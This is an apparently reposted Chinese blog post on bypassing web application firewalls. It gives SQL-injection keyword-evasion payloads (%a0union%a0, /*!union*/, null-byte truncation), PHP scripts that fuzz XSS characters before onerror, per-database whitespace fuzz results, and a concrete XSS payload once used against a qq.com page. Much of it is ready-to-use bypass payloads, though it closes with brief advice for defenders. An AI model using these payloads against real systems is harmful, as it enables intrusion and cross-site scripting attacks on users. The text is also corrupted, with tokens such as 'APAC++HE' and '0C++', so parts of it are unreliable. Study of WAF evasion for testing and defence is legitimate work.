WAF繞過的一些總結和思考,WAF怎麼防繞過。

WAF分類:

1.網絡層類
2.最多見且容易部署的應用層類 (部署在APAC++HE以前,APAC++HE以後)

應用層WAF – 利用WAF自身缺陷和MYSQL語法特性並結合實際繞過:
WAF最多見檢測方式:關鍵詞檢測 例如 若是出現 [空格]union[空格] 這樣的SQL語句則視爲惡意請求,丟棄這個數據包,XSS代碼同理。

常見的繞過類型:

類型1:
數據包 -> WAF(利用string存儲請求參數,解碼後檢測)-> APAC++HE
C++語言等利用string等儲存結構存儲請求,在解碼時,%00會成爲 NULL 從而截斷接下去的請求內容
所以例如 ?id=1%00%20and%201=1 就成爲了 ?id=1 從而繞過WAF檢測


類型2:
數據包 -> WAF ->APAC++HE

繞過邏輯:
WAF對某些User-Agent特殊放行(如百度spider 的UA)
WAF對某些POST包特殊放行(文件上傳包)

類型3:
數據包 -> WAF ->APAC++HE
利用mysql的語法特性和html代碼的特殊書寫方式、瀏覽器的渲染方式繞過。因爲實際***測試過程當中對WAF的實際檢測邏輯並不清楚,因此利用fuzz是最好的方法,這也是WAF最多見的繞過方法。

FUZZ字典:
%a0union%a0 (WAF中正則表達式 \s 並不能匹配 %a0 但MYSQL視之爲 空格)
%0aunion%0a
%0bunion%0b (WAF中正則表達式 \s \t 並不能識別匹配 %0b)
%09union%09
/**/union/**/
%0dunion%0d
/*%e4*/union/*%e4*/(UTF8中的半個中文 正則表達式中任意匹配符(.)不能匹配該內容)
`version`() (MYSQL語法特性 函數能夠書寫成 `函數名`())
/*!union*/
8E0union (MYSQL語法特性,檢測爲浮點數後語境結束,視爲空格,下2同)
8.0union
\Nunion
.1union/*.1*/
...

XSS類的一個fuzz實例:

《Fuzz <img src=x [code..] onerror=XSS>來檢測 onerror 前能夠無縫鏈接怎樣的字符》
編寫fuzzz.php 和 fuzz.php 代碼以下

Fuzzz.php:

<html>
<?php
$urlhex=['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'];
$i=0;
$ii=0;
for ($i=0; $i < 16 ; $i++) {
for ($ii=0; $ii < 16; $ii++) {
$hex = $urlhex[$i] . $urlhex[$ii];
$realhex = '%' .$urlhex[$i] . $urlhex[$ii];
echo "<iframe src='http://localhost/fuzz.php?c=".$realhex."&d=".$hex."''></iframe>";

}
}
?>
</html>

Fuzz.php:


<?php
$code = $_GET['c'];
$cc = $_GET['d'];
?>
<html>
<img src=x <?php echo $code?>onerror="alert('<?php echo $cc?>')">
</html>

運行Fuzzz.php 進行自動fuzz,結果爲:

0c,0d,2f,0a,20,09

1506031300c24c8e0557b05eb0.jpg

同理能夠fuzz出各類標籤的其餘位置能夠插入的特殊字符。


附SQL語句空白符FUZZ結果:

SQLite3:0A,0D,0C++,09,20
MySQL5:09,0A,0B,0C++,0D,A0,20
PosgresSQL:0A,0D,0C++,09,20
Oracle_11g:00,0A,0D,0C++,09,20
MSSQL:01,02,03,04,05,06,07,08,09,0A,0B,0C++,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C++,1D,1E,1F,20


類型4:

數據包 -> WAF ->APAC++HE
這是WAF沒法考慮到的…
屢次惡意代碼檢測和處理 留下的隱患:
例子(已修復):
漏洞名稱:crm2.qq.com XSS
提交時間:2015-03-30 13:39:31
「這個時候就遇到了大家的迷之waf,<script>果斷501啊,崩潰了半小時,稍微fuzz了一下,發現%0a會無視掉,成功bypass waf」
最後構造的XSS爲:
http://crm2.qq.com/page/portalpage/wpa.php?uin=40012345&f=5&ty=6666&ap=%23&debug=1&bt=\x3csc%0aript\x3eale%0art()
這裏有一個tencent waf ,對XSS代碼也有必定的防護檢測,在get請求中出現 <script> , alert() , <svg> 等關鍵詞時,觸發waf,返回錯誤碼501
但因爲參數在通過waf檢測後,經過php的 $_GET[] 函數取得,並繼續進行關鍵詞過濾,通過筆者的一番fuzz,發現它會匹配換行符 %0a 並丟棄後輸出,所以在這個邏輯下:
<scri%0apt>aler%0at()
通過waf 時,經過了檢測(並無關鍵詞),而後通過php的字符串處理後,依然輸出了惡意代碼。

類型5:
數據包 -> WAF ->APAC++HE
畸形HTTP包,
利用Apache對HTTP包的兼容性和WAF對畸形HTTP包的不兼容性繞過WAF

總結:
對於廣泛的應用層WAF,fuzz是測試waf的較好的方法,利用MYSQL的一些語法特性和瀏覽器的一些渲染方式,構造出一份強大的fuzz字典,或許就能夠繞過waf的關鍵詞檢測。
同時,WAF和php代碼的鏈接靈活性也是很值得考慮的,例如類型4,屢次對傳入數據進行處理反而容易留下隱患。
WAF想要防繞過,需有針對的過濾這些字符組合。

php

waf

相關文章
相關標籤/搜索